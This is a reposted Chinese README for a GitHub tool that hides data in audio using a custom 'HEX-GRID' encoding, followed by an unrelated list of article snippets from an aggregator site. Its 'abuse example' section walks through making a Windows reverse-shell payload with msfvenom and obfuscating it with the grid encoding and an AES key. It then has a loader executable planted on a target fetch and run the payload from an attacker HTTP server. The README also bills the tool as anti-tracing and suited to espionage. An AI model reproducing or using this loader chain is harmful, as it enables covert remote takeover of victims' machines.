GI6E 加密GRID電碼通信SHELLCODE載入


GI6E

https://github.com/MartinxMax/gi6e

「它似乎能從特製的音訊信號中提取敏感資訊。」

HEX-GRID CODEX(簡稱 HGC)是一種自定義的 6 位元結構編碼系統,使用三位元的群組識別碼(Group Bits)加上三位元的索引識別碼(Index Bits)來組成 64 個唯一碼。其核心設計理念是將字母與數字映射到二維區塊矩陣中,使其具備可擴展性、分層性,以及機器可解析的字元分佈方式。這使得它非常適用於摩斯密碼的擴展、嵌入式通訊協議、加密標記,或特殊字元序列的緊湊表達。


https://youtu.be/Uzc14fmhI5I

V1.2 更新

  • [+] 新增 AES-CTR 加密傳輸,大幅提升反追蹤難度
  • [+] 修改解碼靈敏度
  • [+] 新增用戶控制介面
  • [+] 加入加解密解析器
  • [+] 增加惡意 SHELLCODE 載入器

「這也許正是間諜活動等待已久的工具。」

Main2.jpg


安裝方式

$ git clone https://github.com/MartinxMax/gi6e.git
$ cd gi6e
$ pip install -r require.txt

使用方式

$ python3 grid.py

image.png


文字轉 WAV

將字串轉換為 GRID 編碼的 .wav 音訊文件:

請輸入要轉換的文字:TEST
[+] Grid 音訊文件已成功產生:./lib/history/generate/1752834436.wav

image-1.png

image-2.png


WAV 轉文字

輸入 .wav 音訊文件並解碼其內容為純文字:

請輸入未加密 WAV 路徑:./lib/history/generate/1752834436.wav
[Unencrypted] 解碼結果 => ('-.-.-- . --..-. .  . -.-.-. .  . -.-.-. .  . --..-. .  . --..-. .  . -...-. .  . --..-. .  . -.-.-. . ', 'TEST')

image-3.png


一鍵測試

快速檢查系統功能:

image-4.png


即時監聽

播放音訊並即時解碼訊息:

image-5.png


文字轉 Grid

將純文字轉換為 GRID 編碼:

請輸入要轉換的文字:HELLO
[Unencrypted] 生成 Grid 編碼 => '-.-.-- . -.-.-. . .--.-- . -.-.-. . --..-. . -.-.-. . .--..- . -.-.-. . .--..- . -.-.-. . --...- . '

image-6.png


Grid 轉文字

將 GRID 編碼轉換為可讀文字:

請輸入 Grid 編碼(以空格分隔):'-.-.-- . -.-.-. . .--.-- . -.-.-. . --..-. . -.-.-. . .--..- . -.-.-. . .--..- . -.-.-. . --...- . '
[Unencrypted] 解碼:HELLO

image-7.png


濫用範例:基於 GRID 的 SHELLCODE 載入器

image-10.png

產生 Shellcode(如反向連線 Payload):

(grid-loader)$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f python | sed 's/\<buf\>/shellcode/g' > ./SHELLCODE/Main.conf

image-8.png

轉換 Shellcode 為 GRID 編碼:

(grid-loader)$ python3 grid-gener.py

也可使用 -key 參數進行混淆加密:

image-9.png


遠端載入器

啟動 HTTP Server:

$ sudo python3 -m http.server 80

image-11.png

上傳 grid-loader.exe 至目標系統。如有加密請加上 -key

> grid-loader.exe -load http://192.168.8.102/Main.grid

目標端:

image-15.png

Ubuntu 主機:

image-14.png


本地載入器

從本地讀取 Grid 文件:

> grid-loader.exe -load ./Main.grid

目標端:

image-16.png

Ubuntu 主機:

image-17.png


GRID 加密載入器

使用加密產生:

(grid-loader)$ python3 grid-gener.py -key 12345678

image-19.png

載入時解密執行:

> grid-loader.exe -load http://192.168.8.102/Main.grid -key 12345678

或:

> grid-loader.exe -load ./Main.grid -key 12345678

image-18.png


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/915098.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/915098.shtml
英文地址,請注明出處:http://en.pswp.cn/news/915098.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

實習十三——傳輸層協議

補充子網劃分的主要目的就是為了節約IP&#xff0c;降低成本&#xff0c;但是如果劃分私有IP網段&#xff0c;則完全沒有意義&#xff0c;因為私有IP可重復&#xff0c;不要錢&#xff0c;所以私有IP嚴禁進行子網掩碼劃分傳輸層協議TCP三次握手TCP協議數據格式第一次握手&#…

RPG59.玩家拾取物品三:可拾取物品的提示UI

1。以WarriorWidgetBase作為父類&#xff0c;創建一個子類的userwidget2.布局為兩個值都為1203。然后我們需要想辦法&#xff0c;在合適的位置&#xff0c;用bool來控制此控件的顯示與隱藏。情況為&#xff1a;當玩家觸發與可拾取物體的重疊時&#xff0c;我們將廣播一個bool值…

Vue.js 國際化 (i18n) 實踐:讓你的應用走向全球,多語言支持如此簡單!

文章目錄一、為何你的 Vue.js 應用需要“說多種語言”&#xff1f;國際化的重要性二、Vue I18n 基礎實踐&#xff1a;從零開始搭建多語言環境2.1 安裝 Vue I18n2.2 配置 Vue I18n 實例2.3 在組件中使用翻譯三、進階實踐&#xff1a;讓國際化更強大、更靈活3.1 動態語言切換3.2 …

在CentOS7.9服務器上安裝.NET 8.0 SDK

在 CentOS 7.9 系統上手動安裝 .NET 8.0 SDK&#xff08;使用本地的 dotnet-sdk-8.0.101-linux-x64.tar.gz 文件&#xff09;&#xff0c;可以按照以下步驟進行操作。由于 CentOS 7.9 已不再被微軟官方支持&#xff0c;可能會遇到依賴庫版本問題&#xff08;如 GLIBCXX 和 GLIB…

HarmonyOS-ArkUI Web控件基礎鋪墊4--TCP協議- 斷聯-四次揮手解析

HarmonyOS-ArkUI&#xff1a; Web組件加載流程1 HarmonyOS-ArkUI Web控件基礎鋪墊1-HTTP協議-數據包內容 HarmonyOS-ArkUI Web控件基礎鋪墊2-DNS解析 HarmonyOS-ArkUI Web控件基礎鋪墊3--TCP協議- 從規則本質到三次握手-CSDN博客 接上文&#xff0c;上文我們講解了: 數據在…

如何用AI 生成論文/書籍的摘要

不知道大家是否有這樣的感覺&#xff0c;上網瀏覽信息&#xff0c;看到好的文章就興奮地下載了下來&#xff0c;文件的名稱通常是一串奇奇怪怪的字符串。過了幾天就在電腦中找不著了。沒有網絡上搜索不到的文章&#xff0c;而是在你的電腦中卻找不到它們。幾年下來&#xff0c;…

ubuntu系統+N卡 | docker compose+ollama+dify(dify和ollama在同一容器)

1、安裝NVIDIA驅動 2、安裝docker&#xff0c;docker compose 3、安裝NVIDIA Container Toolkit Installing the NVIDIA Container Toolkit — NVIDIA Container Toolkit&#xff08;僅 GPU 場景需要&#xff09; # Configure the production repository: curl -fsSL https://…

實習手記:基于大模型的搜索引擎開發實踐

初入團隊&#xff1a;從理論到實踐的跨越五月份開始&#xff0c;我懷著忐忑又期待的心情以線上的方式加入了公司AI研發中心的搜索引擎優化小組。作為一名數據科學與大數據技術專業的學生&#xff0c;這是我第一次參與工業級AI項目的開發&#xff0c;團隊的任務是構建一個基于大…

用Python實現神經網絡(二)

#Overfitting是機器學習的主要問題。下面我們來看一下過擬合現像&#xff1a;import numpy as npimport matplotlib.pyplot as pltimport matplotlib as mplimport tensorflow as tffrom scipy.optimize import curve_fit# Generic matplotlib parameters for plots and figure…

數據結構入門 (二):掙脫連續空間的束縛 —— 單向鏈表詳解

TOC(目錄) 引言&#xff1a;整齊的代價 在上一篇文章中&#xff0c;我們一起探索了數據結構大家族的第一位成員——順序表。我們了解到&#xff0c;順序表作為一種線性結構&#xff0c;其最大的特點在于邏輯順序與物理順序的一致性&#xff0c;即元素之間不僅存在邏輯上的前后關…

AI-視頻一致性與多幀控制在AIGC中的技術挑戰與突破!

全文目錄&#xff1a;開篇語前言1. 視頻中人物一致性建模的難點與現有解決方案**人物一致性建模的挑戰****現有解決方案****案例代碼&#xff1a;基于姿態估計的多幀一致性保持**2. 光照/紋理/姿態跨幀保持方法剖析**跨幀光照與紋理一致性****跨幀姿態一致性**3. 幀間插值與關鍵…

基于Qwen2.5-3B-Instruct的LoRA微調與推理實戰指南

前言 大語言模型(LLM)的微調是當前AI領域的熱門話題&#xff0c;而參數高效微調方法(如LoRA)因其低成本和高效率備受關注。本文將手把手教你如何使用Qwen2.5-3B-Instruct模型進行LoRA微調&#xff0c;并構建完整的推理流程。 一、環境準備 1.1 硬件要求 ? GPU: 至少16GB顯存(如…

電腦插上u盤不顯示怎么回事

對于經常使用電腦的用戶來說&#xff0c;U盤是一種再熟悉不過的存儲工具。不管是拷貝資料、備份文件&#xff0c;還是制作啟動盤&#xff0c;U盤都發揮著重要作用。然而&#xff0c;有時候你可能會遇到這樣的情況&#xff1a;“U盤插上電腦&#xff0c;燈亮了&#xff0c;但電腦…

2025年6月GESP(C++二級): 冪和數

2025年6月GESP(C++二級): 冪和數 題目描述 對于正整數 n n n,如果 n n n 可以表為兩個

Windows、macOS、liunx下使用qemu搭建riscv64/linux

背景 在Windows、macOS和Linux環境下使用QEMU搭建RISC-V 64位Linux系統&#xff0c;網絡上存在大量過時、不完整或錯誤的教程。且部分AI生成的內容“幻覺”現象嚴重&#xff0c;導致關鍵步驟錯誤且難以進行。為確保可靠性&#xff0c;本教程基于最新實測驗證&#xff0c;涵蓋三…

簡單使用MCP

1、說明# 測試環境服務器 CPU數量&#xff1a;2核 內存&#xff1a;4GB 磁盤&#xff1a;50GB# 補充 如果不想使用Docker進行操作&#xff0c;只需要跳過Docker相關命令操作 即&#xff1a;使用Ollama運行模型&#xff0c;使用Python來創建MCP2、安裝Docker# 安裝Docker https:…

電腦裝機軟件一鍵安裝管理器

軟件使用 現在的裝機軟件很多&#xff0c;主要幾種類型就是辦公、看圖、影音、下載等&#xff0c;如果每次裝機之后&#xff0c;手動一個一個去安裝&#xff0c;費時費力還容易安裝到全家桶。 就有人整理了網絡上常用的一系列裝機軟件純凈和諧版本&#xff0c;并打包到一起&a…

深度學習入門-深度學習簡介

深度學習是加深了層的深度神經網絡。只需通過疊加層&#xff0c;就可以創建深度網絡。1、 加深網絡將深度學習中的重要技術&#xff08;構成神經網絡的各種層、學習時的有效技巧、對圖像特別有效的CNN、參數的最優化方法等&#xff09;匯總起來&#xff0c;創建一個深度網絡&am…

Linux 下安裝DM8數據庫詳細教程

Linux 下安裝DM8數據庫詳細教程 一、環境準備 1.操作系統要求 DM 數據庫支持多種操作系統,如 Windows、Linux 等。對于 Linux 系統,確保內核版本符合要求,例如 CentOS 7 或更高版本。同時,要保證系統有足夠的磁盤空間(建議至少 10GB 以上)和內存(至少 1GB 以上)。 對…

搭建基于Gitee文檔筆記自動發布

搭建基于Gitee文檔筆記自動發布由于現在gitee不支持代理靜態頁面&#xff0c;并且github.io需要VPN&#xff0c;實際使用的話gitee更為方便。一、為服務器和個人PC添加免密push和pull 參考鏈接&#xff1a;https://help.gitee.com/base/account/SSH%E5%85%AC%E9%92%A5%E8%AE%BE…